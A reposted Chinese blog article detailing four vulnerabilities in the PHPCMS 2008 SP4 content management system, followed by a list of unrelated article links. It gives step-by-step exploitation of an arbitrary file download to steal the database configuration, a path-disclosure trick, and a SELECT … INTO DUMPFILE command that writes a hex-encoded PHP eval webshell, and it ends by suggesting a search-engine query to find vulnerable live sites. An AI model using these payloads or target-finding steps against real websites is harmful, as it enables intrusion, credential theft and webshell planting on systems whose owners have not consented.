当前位置: 首页 > news >正文

详细解析漏洞4个boom

自上个月PHPCMS2008 SP3爆出了“企业黄页”的盲注漏洞后,目前程序已经升级到了的SP4,但可惜的是SP4还没公布几天,就有人发现了PHPCMS SP4存在的安全漏洞,而且还不止一个,一下子就被发现了4个漏洞!这4个漏洞分别是下载任意文件漏洞、暴路径漏洞、删除任意文件漏洞以及注入漏洞,本文我们就来详细的了解一下这些漏洞以及利用方法。

一、下载任意文件漏洞

我从官方网站下载了存在漏洞的phpcms sp4_gbk,在虚拟机的PHP环境中把程序安装了起来,访问地址为。

PHPCMS SP4的这四个漏洞都是由Jannock发现的,以下就是Jannock对该漏洞的简单分析,其实不光是在IIs存在该漏洞,在APACHE下也同样存在该漏洞的。存在漏洞的文件为“commment\down.php”,具体的语句就是第12行的“if(preg_match('/\.php$/',$f)|| strpos($f,"\\"))showmessage('地址有误');”,只判断了文件后辍PHP,但没有考虑到在Windows系统中,文件名为“xx.php”(后面多了一个空格)也会被认为是xx.php文件的情况,因此利用这个判断不完全的缺陷,当PHPCMS运行在Windows系统下时,我们就可以下载任意的文件。

下面来看漏洞的利用过程,我们首先需要注册一个用户,我注册了一个用户test,注册成功后点击“会员中心”,在会员中心点击“信息管理”,在“下载”处添加

一个下载。

这里我在“办公软件”中添加了一个下载,点击“发布”按钮后就来到了添加下载的地方,“标题”和“描述”可以随便填写,我填写的都为test,“下载列表”就填写“hackerxfileslinclude/config.inc.php%201”,点击“确定”按钮后就添加了一个下载,添加的下载要等管理员审核通过后别人才能看到,但我们不用等待管理员审核通过就能利用这个漏洞,点击“信息管理”中的“待审”,就看到了我们等待审核的那个下载。

点击“管理”,然后点击“管理操作”中的“预览”,就打开了预览页面,点击“下载歹列表”后面的hackerxfiles,就打开了下载页面,直接点击页面中的“点击下载”按钮后就弹出了下载对话框。,我们可以下载config.inc.php了。

打开下载的config.inc.php,就可以看到PHPCMSSP4的数据库连接信息了。后来我又到PHPCMS的官方演示站点测试了一下,也成功了。在得到数据库的连接密码后,就可以尝试一下是否与PHPCMS SP4的后台管理员密码一样,如果使用的也是相同的密码,那我们就可以登录进入后台拿webshell了(至于在后台如何拿到webshell以前应该有谈及过,大家可以自行去查一查)。

即使数据库连接密码不是后台管理员密码也还是有其它利用方法的,如果mysql服务器允许外部连接,我们就可以连接上去执行查询命令“select * from phpcms_memberwhere userid=l”(表前缀为phpcms_的情况下)来得到后台管理员的用户名和密码,如果密码的MID5值能够破解出来,那么同样可以进入后台来拿webshell。对于密码的MD5值破解不出来的情况,如果权限够的话,我们还可以通过导出文件采得到webshell,导出文件时要用到的网站绝对路径我们可以通过下面的暴路径漏洞来得到。最后在提醒一下大家,我们把“hackerxfiles|include/config.inc.php%201”中的“include/config.inc.php”替换成别的文件就可以实现下载任意文件了。

二、暴路径漏洞

我们来看一下Jannock对这个漏洞的分析,存在漏洞的文件为“Corpandresize/ui.php”。

我们可以看出,网站绝对路径被保存在了cookie中。关于这个漏洞利用,我们同样还是需要先注册一个用户,登录后直接访问,就会出来‘请选择要剪切的图片”的对话框,点击“确定”后会询问是否关闭窗口,我们选择“否”,然后在浏览器的地址栏里输入“javascript:alert(document.cookie)”后回车就可以看到当前的cookie信息了。

其中“tmp=C%3A%2FAppServ%2Fwww%2Fphpcms%2F%2F”中的“%3A”是“:”的URL编码,“%2F”是“/”的URL编码,还原回来就是,现在我们就知道网站的绝对路径是“c:/AppServ/www/phpcms/”了,在傲游浏览器中利用Cookie Editer插件可以更直观的看到当前的cookie。

在得到网站的绝对路径后,如果权限够的话我们就可以通过类似“select Ox3C3F706870206576616C28245F504F535458785D293F3E into DUMPFILE' C:/AppServ/www/phpcms/php.php';“的代码来导出一个webshell,其中Ox3C3 F706870206576616C2 8245F504F535458785D293F3E就是“<?php eval($_POST[x])?>”的十六进制表示形式。

三、SQL注A漏洞

还发现了PHPCMS SP4的一个SQL注入漏洞,对该漏洞相应的分析如下,存在漏洞的文件为“ads\include\ads.class.php”。

可以看出,变量$adsid没有经过处理就直接进人了SQL查询,造成了SQL注入漏洞。给出的漏洞利用方法是注册普通会员帐号,预订一个广告,然后修改adsid的值进行注入,但很惭愧,我不知道具体的要如何修改adsid的值,不会构造注入语句,还希望高手们能够撰文分享一下。

四、删除任意文件漏洞

还发现了PHPCMS SP4存在删除任意文件的漏洞,漏洞的分析如下。

在图片剪切那里先读取cookie中的信息,然后直接删除文件,这就造成了删除任意文件的漏洞。但我在测试时却没有测试成功,可能是我技术不到位的缘故吧。

本文危险漫步给大家介绍了PHPCMS SP4的几个漏洞,我们在google或百度中搜索“Powered by Phpcms ”,后台登录页面显示“PHPCMS SP4”的就是使用了PHPCMS SP4的网站,很可能存在这些漏洞。

转载于:https://www.cnblogs.com/heikeboke/p/8194466.html

相关文章:

  • HSRP、VRRP、ACL
  • 407. 加一
  • NoClassDefFoundError
  • 压缩打包介绍 gzip压缩工具 bzip2压缩工具
  • 数组注意事项
  • Git与GitHub学习笔记(八)git如何同时同步提交到码云和GitHub上
  • 阿里人工智能实验室?对,这个神秘机构即将登场
  • 马斯克又双叒叕谈AI威胁论,李开复又双叒叕反对马斯克
  • python-登录
  • 一起撸个朋友圈吧(step3) ListAdapter篇
  • foreach Transform 同时chils.setParent引起的bug
  • python笔记7-多线程threading之函数式
  • org.codehaus.mojo:build-helper-maven-plugin:1.4:add-source (execution: add-sourc
  • CentOS6.X内核升级
  • PDF 补丁丁 0.6.0.3383 版发布(修复书签编辑器坐标定位错误的问题)
  • php的引用
  • 【剑指offer】让抽象问题具体化
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • CSS实用技巧
  • JAVA多线程机制解析-volatilesynchronized
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • Laravel5.4 Queues队列学习
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • Nacos系列:Nacos的Java SDK使用
  • SAP云平台里Global Account和Sub Account的关系
  • Vue 动态创建 component
  • 从setTimeout-setInterval看JS线程
  • 基于Dubbo+ZooKeeper的分布式服务的实现
  • 检测对象或数组
  • 码农张的Bug人生 - 见面之礼
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • 学习笔记TF060:图像语音结合,看图说话
  • ​Z时代时尚SUV新宠:起亚赛图斯值不值得年轻人买?
  • (bean配置类的注解开发)学习Spring的第十三天
  • (Matalb时序预测)PSO-BP粒子群算法优化BP神经网络的多维时序回归预测
  • (ZT)一个美国文科博士的YardLife
  • (安卓)跳转应用市场APP详情页的方式
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (附源码)ssm基于jsp的在线点餐系统 毕业设计 111016
  • (力扣)1314.矩阵区域和
  • (顺序)容器的好伴侣 --- 容器适配器
  • (译)2019年前端性能优化清单 — 下篇
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (轉貼) UML中文FAQ (OO) (UML)
  • .Family_物联网
  • .net core 3.0 linux,.NET Core 3.0 的新增功能
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .NET Framework .NET Core与 .NET 的区别
  • .net MySql
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .net 后台导出excel ,word
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • .Net的C#语言取月份数值对应的MonthName值
  • [AI]文心一言出圈的同时,NLP处理下的ChatGPT-4.5最新资讯
  • [BZOJ 4129]Haruna’s Breakfast(树上带修改莫队)